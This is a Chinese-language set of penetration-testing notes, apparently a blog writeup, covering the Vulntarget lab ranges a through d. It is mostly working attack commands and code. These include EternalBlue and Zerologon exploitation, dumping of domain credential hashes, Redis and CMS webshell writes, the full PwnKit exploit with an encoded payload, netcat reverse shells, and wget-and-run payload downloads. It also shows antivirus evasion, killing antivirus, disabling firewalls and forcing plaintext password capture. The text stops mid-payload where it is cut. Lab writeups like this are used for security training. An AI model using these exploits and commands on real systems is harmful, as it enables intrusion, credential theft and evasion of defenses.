Vulntarget靶场渗透笔记
靶场官方链接
https://github.com/crow821/vulntarget
Vulntarget-a
Writeup
Win7:win7/admin
win2016:Administrator/Admin@123、vulntarget.com\win2016/Admin#123
win2019:administrator/Admin@666
网络拓扑环境
信息收集
nmap -sC -T4 192.168.56.124
发现是通达OA利用批量工具一键打
获得shell
win7 MSF上线
可直接使用永恒之蓝漏洞获得系统权限
msf 6> search 17-010
msf 6> use 0
msf 6> set payload windows/x64/meterpreter/reverse_tcp
msf 6> set lport 6666
msf 6> set lhost 192.168.56.1005
msf 6> set rposts 192.168.56.126
msf 6> run
都是乱码,看着不舒服
CHCP 65001
ipconfig
扫描网络,发现另一网卡
获取用户密码
msf加载mimikatz
load kiwi
获取主机密码
creds_all
横向移动
进程迁移
获得shell时,该shell是极其脆弱,所以需要移动这个shell把它和目标机中一个稳定的进程绑定在一起,而不需要对磁盘进行任何写入操作,这样使渗透更难被检测到。自动迁移进程命令(run post/windows/manage/migrate)或手动迁移(migrate PID),系统会自动寻找合适的进程然后迁移
run post/windows/manage/migrate
可以看到权限迁移至notepad.exe
权限维持
使用netaspoit自带的后门进行权限维持,-X以指定的方式开机自启动,-i反向链接的时间间隔,-r攻击者的IP
run persistence -X -i 0 -p 7777 -r 192.168.56.105
msf监听
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.56.105
set lport 7777
run
扫描存活主机
use post/windows/gather/arp_scanner
set session 1
set rhost 10.0.20.1-254
run
扫描目标端口
use auxiliary/scanner/portscan/tcp
set ports 22-500,8000-10000
set rhosts 10.0.20.99
threads 50
run
win2016
代理之后,扫描端口,这里很慢很慢很慢
proxychains nmap -sT -p22,23,80,139,445,1433,3306,3389,6379,8080 -Pn 10.0.20.99
最终扫出了80和6379端口
80端口
先扫描目录
proxychains dirsearch -u 10.0.20.99
发现phpinfo.php文件,在其中发现了网站根目录
redis未授权漏洞
proxychains redis-cli -h 10.0.20.99
利用redis未授权以及php web环境来getshell,在这里需要知道一个shell运行的目录,在这里因为前面那个phpinfo,爆露出网站目录
可以看的redis密码为空,redis未授权漏洞写webshell
config set dir "C:/phpStudy/PHPTutorial/WWW/"
config set dbfilename tx.php
set 1 "<?php @eval($_POST['tx']);?>"
save
蚁剑挂代理连接即可
发现另一网段
cs上线
由于win2016是在内网,因此我们需要使用win7作为跳板机进行转发上线。
之后正常生成shell执行即可,这里是我根据writeup写的,实测中死活不上线,win2016也可以ping通win7但是就是不上线。
再次更新,估计是存在防火墙导致不上线,关闭win7防火墙,使其可以被连接。
netsh firewall set opmode mode=disable
成功上线
msf上线
msf添加win7路由
msf6 > route add 10.0.20.0 255.255.0.0 1
msf6 > route print
msf设置代理转发
msf6 > use auxiliary/server/socks_proxy
msf6 > run
msf正向连接
生成msf正向马
msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=6666 -f exe >6666.exe
监听设置 use exploit/multi/handler
use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set lport 6666
set rhost 10.0.20.99
options
无反应失败
再次更新,估计是存在防火墙导致不上线,关闭win2016防火墙。
netsh firewall set opmode mode=disable
重新监听,成功上线
msf反向连接
生成msf反向木马
LHOST设置为windowss7的内网ip地址:LHOST 10.0.20.98
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.20.98 LPORT=5555 -f exe -o 5555.exe
监听设置 use exploit/multi/handler
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 10.0.20.98
set LPORT 5555
options
域渗透
实在无法反弹shell,行吧,修改网卡kali直接连接win2016吧。
端口探测
arp查看网段
定位域控
meterpreter > run post/windows/gather/enum_domain
得到域控名称,IP。
添加路由
meterpreter >run post/multi/manage/autoroute
域内扫描
proxychains4 nmap -Pn -sT 10.0.10.110 -p6379,80,8080,445,139
域内提权
直接使用CVE-2020-1472
proxychains python3 cve-2020-1472-exploit.py 域控主机名 域控IP
proxychains python3 cve-2020-1472-exploit.py -n win2019 -t 10.0.10.110
此时密码已经置空
impacte
再使用impacte来进行下一步的操作
获取域控hash,cd到example下
# proxychains python3 secretsdump.py vulntarget.com/win2019\[email protected] -no-pass
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.16
Impacket v0.9.25.dev1+20220311.121550.1271d369 - Copyright 2021 SecureAuth Corporation
[proxychains] Strict chain ... 127.0.0.1:1080 ... 10.0.10.110:445 ... OK
[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
[proxychains] Strict chain ... 127.0.0.1:1080 ... 10.0.10.110:135 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... 10.0.10.110:49668 ... OK
Administrator:500:aad3b435b51404eeaad3b435b51404ee:c7c654da31ce51cbeecfef99e637be15:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:a3dd8e4a352b346f110b587e1d1d1936:::
vulntarget.com\win2016:1601:aad3b435b51404eeaad3b435b51404ee:dfc8d2bfa540a0a6e2248a82322e654e:::
WIN2019$:1000:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WIN2016$:1602:aad3b435b51404eeaad3b435b51404ee:c6804537d7ccd7c0fabeb0da9ddeeae3:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:70a1edb09dbb1b58f1644d43fa0b40623c014b690da2099f0fc3a8657f75a51d
Administrator:aes128-cts-hmac-sha1-96:04c435638a00755c0b8f12211d3e88a1
Administrator:des-cbc-md5:dcc29476a789ec9e
krbtgt:aes256-cts-hmac-sha1-96:f7a968745d4f201cbeb73f4b1ba588155cfd84ded34aaf24074a0cfe95067311
krbtgt:aes128-cts-hmac-sha1-96:f401ac35dc1c6fa19b0780312408cded
krbtgt:des-cbc-md5:10efae67c7026dbf
vulntarget.com\win2016:aes256-cts-hmac-sha1-96:e4306bef342cd8215411f9fc38a063f5801c6ea588cc2fee531342928b882d61
vulntarget.com\win2016:aes128-cts-hmac-sha1-96:6da7e9e046c4c61c3627a3276f5be855
vulntarget.com\win2016:des-cbc-md5:6e2901311c32ae58
WIN2019$:aes256-cts-hmac-sha1-96:092c877c3b20956347d535d91093bc1eb16b486b630ae2d99c0cf15da5db1390
WIN2019$:aes128-cts-hmac-sha1-96:0dca147d2a216089c185d337cf643e25
WIN2019$:des-cbc-md5:01c8894f541023bc
WIN2016$:aes256-cts-hmac-sha1-96:d2d431e6ce22fbcb8c44331c564c6300fa3df61206dbd125f3498504de5674b5
WIN2016$:aes128-cts-hmac-sha1-96:fccb7840b51e238c3d9696585487e27f
WIN2016$:des-cbc-md5:cbce19f4297a49b0
[*] Cleaning up...
得到administrator的hash
aad3b435b51404eeaad3b435b51404ee:c7c654da31ce51cbeecfef99e637be15
直接就拿下域控
proxychains python3 smbexec.py -hashes aad3b435b51404eeaad3b435b51404ee:c7c654da31ce51cbeecfef99e637be15 [email protected]
开启远程桌面
reg add "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /t REG_DWORD /v portnumber /d 3389 /f
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
直接远程登录就行
proxychains rdesktop 10.0.10.110
账号:vulntarget.com\administrator
密码:Admin@666
注意远程桌面手动需要取消选择此对话框
Vulntarget-b
Writeup
vulntarget漏洞靶场系列(二)— vulntarget-b
centos7:root/root、vulntarget/root mysql:admin/EcfMrPrtTJGL2GjL
域控win2016:administrator/Admin@123
域成员win10:win101/admin#123
修改ens33dhcp获取IP,修改BOOTPROTO=DHCP,删除IPADDR,NETMASK
vi /etc/sysconfig/network-scripts/ifcfg-ens33
systemctl restart network
信息收集
端口扫描
nmap -sT -T4 -p 1-65535 192.168.56.129
nmap -sC -T4 -p 21,22,80,81,888,3306,8888 192.168.56.129
8888端口明显是宝塔后台框架
访问81端口,发现极致cms建站系统
目录扫描
dirsearch -u http://192.168.56.129: -w /usr/share/wordlists/fuzzDicts/directoryDicts/Filenames_or_Directories_All.txt
在readme.txt中发现历史版本信息,推测本版本信息为极致CMSBetal.8.1
访问admin.php
简单爆破一下弱密码
admin/admin123登陆到后台
后台getshell
极致历史漏洞中,有一个后台getshell
安装在线模板插件
选择配置
随便输入密码
再次点击配置输入密码,会进入后台文件编辑
写入一句话木马,蚁剑连接即可
同时也发现了数据库用户密码
禁用函数绕过
蚁剑连接之后,想执行命令,发现直接ret=127,不能执行命令,
这里猜想
应该是对用户访问目录权限进行了限制和php,disable_functions禁用了一些函数,写入php测试语句查看禁用了哪些函数
宝塔禁用函数,直接使用蚁剑插件就可以bypass
内网渗透
生成反向马
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.56.105 LPORT=6666 -f elf>reverse_6666.elf
msf监听
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lport 6666
set lhost 192.168.56.105
options
查看网卡信息,发现域内IP
代理转发
设置路由转发
msf6>route
msf6>use post/multi/manage/autoroute
msf6>sessions 1
meterpreter>run post/multi/manage/autoroute
设置sock5代理
msf6>use auxiliary/server/socks_proxy
msf6>exploit
centos提权
升级为交互式shell
/usr/bin/script -qc /bin/bash /dev/null
上传漏洞检测脚本
wget http://192.168.56.105:8000/linux-exploit-suggester.sh
chmod 777 ./linux-exploit-suggester.sh
./linux-exploit-suggester.sh
使用[CVE-2021-3156] sudo Baron Samedit
漏洞
msf>use exploit/linux/local/sudo_baron_samedit
msf>set session 1
查看sudo和libc环境
sudo -V
ldd --version
设置目标环境,选择target12获得交互式终端
msf>show targets
msf>set target 12
msf>run
用户msf创建成功但并未成功返回session,但可以直接远程登录msf
用户vgkbqftgycwpjcs
且权限为root。
重新运行reverse_6666_x64.elf,反弹session,注意首先需要将msf路由断开,或退出原终端,才能成功连接。
内网探测
使用auxiliary/scanner/portscan/tcp
模块扫描内网
use auxiliary/scanner/portscan/tcp
set rhost 10.0.20.0/24
set ports 21,22,80,135,139,445,8080
set threads 30
发现10.0.20.66主机,开放8080端口,访问,是禅道oa
禅道CMS,检查版本
http://10.0.20.66:8080/index.php?mode=getconfig
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-pS5kZb1s-1659924901912)(Vulntarget靶场渗透笔记/images/image-20220517121624584.png)]
demo账号登陆可以看到禅道版本信息
frp代理
msf代理在蚁剑的地方,上传大一点的文件经常会报错,所以使用frp代理稳定一点
服务器端:
在kali运行服务端frps,frps.ini配置文件为
[common]
bind_ip = 192.168.56.105 #kali IP,为与客户端绑定的进行通讯的地址
bind_port = 7000
前台启动:./frps -c ./frps.ini
后台启动:nohup ./frps -c ./frps.ini &
客户端:
在受害机运行客户端frc,frps.ini配置文件为
[common]
server_addr = 192.168.56.105 #服务端的IP地址
server_port = 7000 #服务端的端口
[socks_proxy]
type = tcp
remote_port =8888 #socks端口
plugin = socks5
前台启动:./frpc -c ./frpc.ini
后台启动:nohup ./frpc -c ./frpc.ini &
文件上传getshell
代理frp流量访问8080端口,admin/Admin123
进入后台
将木马写入第一层centos中,开启http服务
python -m SimpleHTTPServer
首先把ftp文件路径进行base64编码,注意HTTP要大写,小写会导致下载失败,估计后端识别仅做了大写识别。
HTTP://10.0.20.30:8000/shell.php#
SFRUUDovLzEwLjAuMjAuMzA6ODAwMC9zaGVsbC5waHAjCg==
访问
http://10.0.20.66:8080/index.php/client-download-1-SFRUUDovLzEwLjAuMjAuMzA6ODAwMC9zaGVsbC5waHAjCg==-1.html
发现因为是IIS部署的直接解析文件,发现该html文件不存在
http://10.0.20.66:8080/data/client/1/shell.php
更换payload
http://10.0.20.66:8080/index.php?m=client&f=download&version=1&link=SFRUUDovLzEwLjAuMjAuMzA6ODAwMC9zaGVsbC5waHAjCg==
如果出现访问路径问题,可在http路径上添加#,重复以上操作,原因未知。
如果显示下载成功,但shell.php无内容的话,这是因为后端获取文件时,会先扫描目录是否有同名文件,如果存在直接显示下载成功,会从url中获取文件名shell.php并创建空白文件,访问连接后,获取内容再写入文件。但是,如果连接获取失败,空白文件shell.php不会被删除,在下次上传文件时,会直接显示下载成功,不会访问url。
蚁剑连接即可
http://10.0.20.66:8080/data/client/1/shell.php
主机信息收集
检测杀毒软件
tasklist /svc
将结果放到网站进行杀软查杀
http://payloads.net/kill_software/
存在火绒,准备火绒免杀。
火绒免杀
下载gsl加载器
https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/gsl-sc-loader.zip
生成shell
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=10.0.20.30 lport=6666 -f hex -o shell.hex
msf监听
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 10.0.20.30
set lport 6666
run
木马执行
此处gsl64.exe被火绒查杀,暂未解决
gsl64.exe -f shell.hex -hex
域主机提权
run post/multi/recon/local_exploit_suggester
建议多跑几次o((>ω< ))o,一次可能不准确
使用cve_2021_1732_win32k来提权,建议多试几次
use exploit/windows/local/cve_2021_1732_win32k
set session 5
set lhost 10.0.20.30
set lport 5555
run
进程迁移
run post/windows/manage/migrate
关闭杀毒软件
run killav
关闭休眠和防火墙
shell
chcp 65001
powercfg -h off
netsh firewall set opmode mode=disable
域信息收集
ipconfig /all
获得域名vulntarget.com和域内网段10.0.10.99/24
查找域控
msf查找域控命令run post/windows/gather/enum_domain
导致会话断开,所以手动查找域控
net time /domain //获取域控时间和用户名
nslookup WIN-UH20PRD3EAO.vulntarget.com //查找域控IP
收集域成员信息
这里需要域成员登录过,否则拿不到域成员账号
load kiwi
creds_all
发现没有密码只有hash,这一直接爆破md5,也可以修改注册表,强制用户重新登陆。
https://www.somd5.com/
开启Wdigest Auth服务
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
强制锁屏
rundll32 user32.dll,LockWorkStation
等待登录,重新抓取,得到密码
关闭Wdigest Auth服务
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f
CVE-2021-42287渗透
git clone https://github.com/WazeHell/sam-the-admin.git
cd sam-the-admin
python3 -m pip install -r requirements.txt
域内提权
proxychains python3 sam_the_admin.py "vulntarget.com/win101:admin#123" -dc-ip 10.0.10.100 -shell
system权限到手。
Vulntarget-c
Writeup
vulntarget漏洞靶场系列(三)— vulntarget-c
网络拓扑:
ubuntu20:root/root#qwe
win2016:
ubuntu16:
初始配置
ubuntu20靶机初始网络连接为静态连接,因此我们需要配置为dhcp才能正常访问,使用ip a
,查看网络信息。
修改配置文件
vim /etc/netplan/00-installer-config.yaml
启用配置文件
netplan apply
信息收集
端口扫描
nmap -p- -Pn -T4 192.168.56.133
目录扫描
dirsearch -u http://192.168.56.133 -w /usr/share/wordlists/fuzzDicts/directoryDicts/Filenames_or_Directories_All.txt
访问80端口,发现是Laravel框架,直接百度Laravel漏洞。
Laravel getshell
搜索漏洞信息
searchsploit Laravel
似乎searchsploit的exp有些问题,所以在github重新找了一个exp。
git clone https://github.com/SNCKER/CVE-2021-3129
cd CVE-2021-3129
git clone https://github.com/ambionics/phpggc.git(exp执行需要使用此工具)
修改exploit的目标信息为192.168.56.133,执行命令id。
反弹shell
生成木马
msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.56.105 LPORT=6666 -f elf -o 6666.elf
遍历目录,可以看到网站目录为/var/www/html/public
,也可以直接使用/tmp/
下载木马,其他目录可能权限不足。
获得shell。
python exploit.py "cd /tmp/&&wget http://192.168.56.105/6666.elf&&chmod 777 6666.elf&&./6666.elf"
先给shell升级一下,用着好用。
python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
Ctrl+z快捷键
stty raw -echo;fg
reset
下载linpeas.sh简单查看一下信息
wget http://192.168.56.105/linpeas.sh&&chmod 777 ./linpeas.sh&&./linpeas.sh
suid权限中发现pkexec文件。
SUID提权
使用pkexec.py提权
#!/usr/bin/env python3
# poc for https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt found by qualys
# hardcoded amd64 lib
from ctypes import *
from ctypes.util import find_library
import os
import zlib
import base64
import tempfile
payload = zlib.decompress(
base64.b64decode(
"""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"""
)
)
libc = CDLL(find_library("c"))
libc.execve.argtypes = c_char_p, POINTER(c_char_p), POINTER(c_char_p)
libc.execve.restype = c_ssize_t
wd = tempfile.mkdtemp()
open(wd + "/pwn.so", "wb").write(payload)
os.mkdir(wd + "/gconv/")
open(wd + "/gconv/gconv-modules", "w").write(
"module UTF-8// INTERNAL ../pwn 2"
)
os.mkdir(wd + "/GCONV_PATH=.")
os.mknod(wd + "/GCONV_PATH=./gconv")
os.chmod(wd + "/GCONV_PATH=.", 0o777)
os.chmod(wd + "/GCONV_PATH=./gconv", 0o777)
os.chmod(wd + "/pwn.so", 0o777)
os.chdir(wd)
cmd = b"/usr/bin/pkexec"
argv = []
envp = [
b"gconv",
b"PATH=GCONV_PATH=.",
b"LC_MESSAGES=en_US.UTF-8",
b"XAUTHORITY=../gconv",
b"",
]
cargv = (c_char_p * (len(argv) + 1))(*argv, None)
cenv = (c_char_p * (len(envp) + 1))(*envp, None)
libc.execve(cmd, cargv, cenv)
直接写入ssh公钥免密登录
wget http://192.168.56.105/id_rsa.pub
cat id_rsa.pub >authorized_keys
内网渗透
ipconfig
可以看到存在内网ip
添加路由
run autoroute -p 10.0.20.0/24
run post/multi/manage/autoroute
代理转发
use auxiliary/server/socks_proxy
set svrhost 127.0.0.1
run
内网端口扫描
useauxiliary/scanner/portscan/tcp
set port 10.0.20.0/24
set threads 100
run
nmap扫描部分端口,节约时间
proxychains nmap -sT -p22,23,80,135,139,443,445,1433,3306,3389,8080 -Pn 10.0.20.0/24
发现10.0.20.100主机存货扫描端口信息。
sudo proxychains nmap -sT -Pn -p- 10.0.20.100
扫描出80和443端口。
由于msf的socks代理稳定性不大好,这里换用frp做代理
# 受害者
# vim ./frpc.ini
[common]
server_addr = 192.168.56.105 #服务端的IP地址
server_port = 7000 #服务端的端口
[socks_proxy]
type = tcp
remote_port = 1080 #socks端口
plugin = socks5
# 攻击者
# vim ./frpc.ini
[common]
bind_ip = 192.168.56.105 #kali IP,为与客户端绑定的进行通讯的地址
bind_port = 7000
./frpc -c ./frpc.ini
./frpc -c ./frpc.ini
Getshell
发现登录框,SQL注入检查
sqlmap -u 'http://10.0.20.100:80/classes/Login.php?f=login' --data='username=admin&password=123' --cookie='PHPSESSID=kp9v9tia4egsgvjk0vf0bhm346' --proxy="socks5://127.0.0.1:1080" --batch
NO!!!!!!!!!!!!!!!!!
暴力破解检查
爆出密码admin123,直接登录。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ZchkfrcN-1659924601383)(Vulntarget靶场渗透笔记/images/image-20220726124015630.png)]
经测试,在server list中发现可以sql注入漏洞。
sqlmap一把梭
sqlmap -r post.txt --batch --os-shell --proxy="socks5://127.0.0.1:1080"
whoami
显示是windows主机,并且有系统权限,但还省得提权了。
一句话木马写入,蚁剑连接。
echo ^<^?php $a = $_REQUEST['cmd'];$a = "$a";$b['test'] = "";eval($b['test']."$a");echo "error";?^>^ > shell.php
查看杀软
tasklist /scv
将结果放到网站进行杀软查杀
http://payloads.net/kill_software/
发现存在微软Windows Defender。
免杀上线。
生成源代码木马
msfvenom -p windows/x64/meterpreter/bind_tcp lhost=10.0.20.100 lport=6666 -f hex -o 6666.hex
上传gsl64.exe 和6666.hex,上线
gsl64.exe -f 6666.hex -hex
成功进入。
域信息收集
关闭杀软
meterpreter> run killav
关闭防火墙
netsh advfirewall set allprofiles state off
netsh firewall set opmode mode=disable
netsh advfirewall show allprofiles
开启3389
reg add "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /t REG_DWORD /v portnumber /d 3389 /f
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0 /f
netstat -ano | findstr "3389"
mimikatz获取密码
load kiwi
hashdump
creds_all
没有读取到密码,试着接一下hash。
得到密码Admin#123,远程登陆成功。
远程主机发现网络控制工具MobaXterm,输入本机密码,成功进入。
ssh连接
MobaXterm查看密码:
msf做代理,远程登陆主机,得到flag。
Vulntarget-d
Writeup
vulntarget漏洞靶场系列(四)— vulntarget-d
网络拓扑:
由于ubuntu和windows7之间的网络进行修改过,所以可能与图中数据1有所出入
主机密码:
ubuntu:eval/vulntarget
win7: crow/admin
初始配置
虚拟机安装完成后,首先将ubuntu的网卡更换为本地网卡。
# 更新网络配置
sudo dhclient
信息收集
fping -ag 192.168.56.105/24 2>/dev/null
netdiscover -r 10.0.0.0/24 -i eth1
端口扫描
nmap -p- -Pn -T4 192.168.56.137
8888端口,很明显后台宝塔面板,80端口报错也证明了这一点。
查看81端口,骑士cms,可能要代码审计
版本为6.0.20,百度直接搜索关键词骑士cms漏洞
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Xq3GZQMC-1659924354479)(https://s2.loli.net/2022/08/08/CgnpeqfAVT7Jrds.png)]
Webshell
骑士cms存在任意文件包含漏洞
漏洞地址:
192.168.56.137:81/index.php?m=home&a=assign_resume_tpl
post数据
variable=1&tpl=<?php fputs(fopen("tx.php","w"),"<?php eval(\$_POST[x]);?>")?>; ob_flush();?>/r/n<qscms/company_show 列表名="info" 企业id="$_GET['id']"/>
variable=1&tpl=<?php fputs(fopen("tx1.php","w"),"<?php \$a = \$_REQUEST['cmd'];\$a = \"\$a\";\$b['test'] = \"\";eval(\$b['test'].\"\$a\");echo \"error\";?>")?>; ob_flush();?>/r/n<qscms/company_show 列表名="info" 企业id="$_GET['id']"/>
文件包含:22_08_04.log为服务器时间年月日,本次打靶时间为2022年8月4号。
variable=1&tpl=./data/Runtime/Logs/Home/22_08_04.log
webshell写入成功,蚁剑连接即可。
另外值得注意的是如果pos数据失败,且并未写入log文件中,肯能是在post请求中缺少Content-Type字段头,这是get和post请求有所区别的地方。
Content-Type: application/x-www-form-urlencoded
反弹shell
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.56.105 6667 >/tmp/f
升级为交互式shell
python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
Ctrl+z快捷键
stty raw -echo;fg
reset
SUDI提权
上传linux-exploit-suggester.sh,查看可用漏洞
确认确实存在漏洞。
上传exp
#!/usr/bin/env python3
# poc for https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt found by qualys
# hardcoded amd64 lib
from ctypes import *
from ctypes.util import find_library
import os
import zlib
import base64
import tempfile
payload = zlib.decompress(
base64.b64decode(
"""eJztW21sFEUYnr32ymG/TgPhpAQuBhJA2V6BKh8p1FZgUTAFW0OiuL32tteL9+XuXmmRQA1igkhSFRI1JmJioPEXJPrDH2pJm8bEP5KYqD9MqoSkjUQqKgLRrjO777vdHXqUGDUhmafsPfu+8z4zs7szc2zunUNbdmwNSBJBlJBNxLbudexG8A/WuSHUt46U089FpMaOLSXF8VaZn0nYIaYLemyelwX87NXZ7UXBz3FI8rNXx7oQlsG9yc95aKeXay8Auijoopv8PCT5OQTyUjgGoT6e+e7zui8gjuelxM9475+6ZCb+SXstoFsKBTyvJX7G9nZRHT7SOwE+3t3QXrHnMCn5GR9jKdTBxsy2J9vYcxlivhJP+TywWfnBXXWr3s18dG7sdNlP5cMjT5/49PmLLI7djnIyPR5YtaXkAdtXQY/OikPV9Wd299/uOqIz+F+mx30z+KUi8YUi8ceK+B8qUk9Xkfit9HhgBv+BIvGZIv42219FPoH1oBz8z4B/BPytKFDVZCaXVQ0zrpuqStTtrTvVhKZryZRhanrrzuZ0Lqu1xjvSmlM2c4na2RtXu1LZeDq1XyPJzly2x/lUU9mUSQzNLKQSjDTgJJiMtV6ts0ejRCPTqY5O2cjJD5NtO7Y3Naur5dVyvd3RgH3gJ/uT4G+ATI/XwsLUXBbxDtg4TnH+nIXrj3D+PPhbGv1+tNs5fygKOs5fDv6xzQ6zMTu9WhMy7vGXePyTHr93nl73+EMefwTanUOcO4OIevzedX65xx/0+GMe/xyPf53HP9fjb/T47yECAgICAgICAgL/NX6tXnxTOXw5pBwLfldLiHJkyAxYXymHR0LDdrlV/yN1X7WWXaRUvcSO72YFVyd+sCxrwLYl277g2gHbPu/aJbZ9zrVLbft91w7a9uto09b22q095vSP2hnO1jibj2/j7J2cvQVt5XhDH7vu40Gd0frr5nx6K0Zl51bMtcaql/Szyx0GpvHb7fj6JkYrppSjk8r5nzcr56+XKNKocmHKnEcrOAkVhKyxLrsd1LP2+xuCVEsKD7Yphxt09iKsHL1kVijHGj6jxviNKcsaT9CbMRr8ntrSXqr16Sf20UJ20kZ1A3uH8fRzFjB+